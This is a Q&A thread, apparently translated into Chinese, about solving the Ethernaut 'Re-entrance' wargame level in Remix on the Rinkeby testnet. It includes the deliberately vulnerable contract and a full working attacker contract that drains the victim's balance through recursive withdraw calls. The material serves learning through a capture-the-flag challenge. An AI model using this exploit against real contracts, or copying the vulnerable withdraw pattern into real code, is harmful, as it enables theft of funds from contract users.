由于混音上的 gas 错误,重入代码未执行

reentrancy code not executing due to gas error on remix

我正在通过 ethernaut 挑战重新进入:https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D 我想我已经击中了隧道视野,因为我在混音中不断收到这个错误,我真的不知道为什么:

    Gas estimation errored with the following message (see below). The transaction execution will likely fail. Do you want to force sending?
execution reverted

这是我用来攻击合约的代码:

    pragma solidity ^0.8.0;
import "./vic.sol";


contract getether{

    Reentrance public reenter;
    
    constructor(address payable _victim){
        reenter = Reentrance(_victim);
    }

    function start() public {
        reenter.donate{value : 0.001 ether, gas : 4000000}(address(this));
    
    }

    fallback() external payable {
        if(address(reenter).balance != 0){
        reenter.withdraw(0.001 ether);
        }
    }
}

提前致谢

步骤

1。在混音中创建 vic.sol

(来自 Ethernaut re-entrance level 的代码。我只更改了 math.sol 导入)

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;

    import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';

    contract Reentrance {
      
      using SafeMath for uint256;
      mapping(address => uint) public balances;

      function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
      }

      function balanceOf(address _who) public view returns (uint balance) {
        return balances[_who];
      }

      function withdraw(uint _amount) public {
        if(balances[msg.sender] >= _amount) {
          (bool result,) = msg.sender.call{value:_amount}("");
          if(result) {
            _amount;
          }
          balances[msg.sender] -= _amount;
        }
      }

      receive() external payable {}
    }

2。在 Rinkeby 部署 vic.sol

在 Rinkeby vic.sol 中部署,使用来自 Metamask 的一些帐户(称为帐户 1)。

另一种选择:在 Rinkeby 中部署合约,从 Ethernaut 站点,使用“获取新实例”按钮和控制台(我想你已经知道了)

你可以看到我部署的合约here。 (它是从 Ethernaut 站点部署的)

3。在 2 (vic.sol)

中创建的混音合约中导入

完成前一点的交易后,获取合约地址并导入 remix(字段“地址”)。

4。将以太币发送到在 1 (vic.sol)

中创建的合约

使用账户 1,发送 1 以太币 到合约 vic.sol。 使用“donate”方法并将合约地址(在1中创建)作为“address_to”参数。

5。在混音中创建 attack.sol

重要提示:

  • 在 Metamask 中使用另一个帐户(与帐户 1 不同)
  • 输入“address_victim”vic.sol 地址
  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.0;

  import "./vic.sol";

  contract ReentranceAttacker {
      Reentrance public reenter;
      uint256 initialDeposit;

      constructor(address payable _victim) {
          reenter = Reentrance(payable(_victim));
      }

      function attack() external payable {
          require(msg.value >= 1 ether, "send >= 1 ether");

          // first deposit some funds
          initialDeposit = msg.value;
          reenter.donate{value: initialDeposit}(address(this));

          // withdraw these funds over and over again because of re-entrancy issue
          callWithdraw();
      }

      receive() external payable {
          // re-entrance called by reenter
          callWithdraw();
      }

      function callWithdraw() private {
          // this balance correctly updates after withdraw
          uint256 challengeTotalRemainingBalance = address(reenter).balance;
          // are there more tokens to empty?
          bool keepRecursing = challengeTotalRemainingBalance > 0;

          if (keepRecursing) {
              // can only withdraw at most our initial balance per withdraw call
              uint256 toWithdraw =
                  initialDeposit < challengeTotalRemainingBalance
                      ? initialDeposit
                      : challengeTotalRemainingBalance;
              reenter.withdraw(toWithdraw);
          }
      }
  }

6。部署 attack.sol 到 Rinkeby

部署 attack.sol 到 Rinkeby。 查看我的合约已部署 here.

7。攻击合约

将 1 个以太币放入价值中并在已部署的合约中按“攻击”attack.sol。

交易完成后,您会看到合约中有 2.001 以太币 (attack.sol) 余额和 0 以太币 y vic.sol 余额。

攻击合约余额:

vic合约余额:

关于“2.001 以太币”的注释:

  • 0.001 来自 Ethernaut(当使用“获取新实例”按钮部署合约时,他们将该值传输到合约)
  • 来自受害者的 1 个以太币
  • 来自攻击者(你)的 1 个以太币

仅此而已。你可以看到合同有效: (向 Ethernaut 提交解决方案)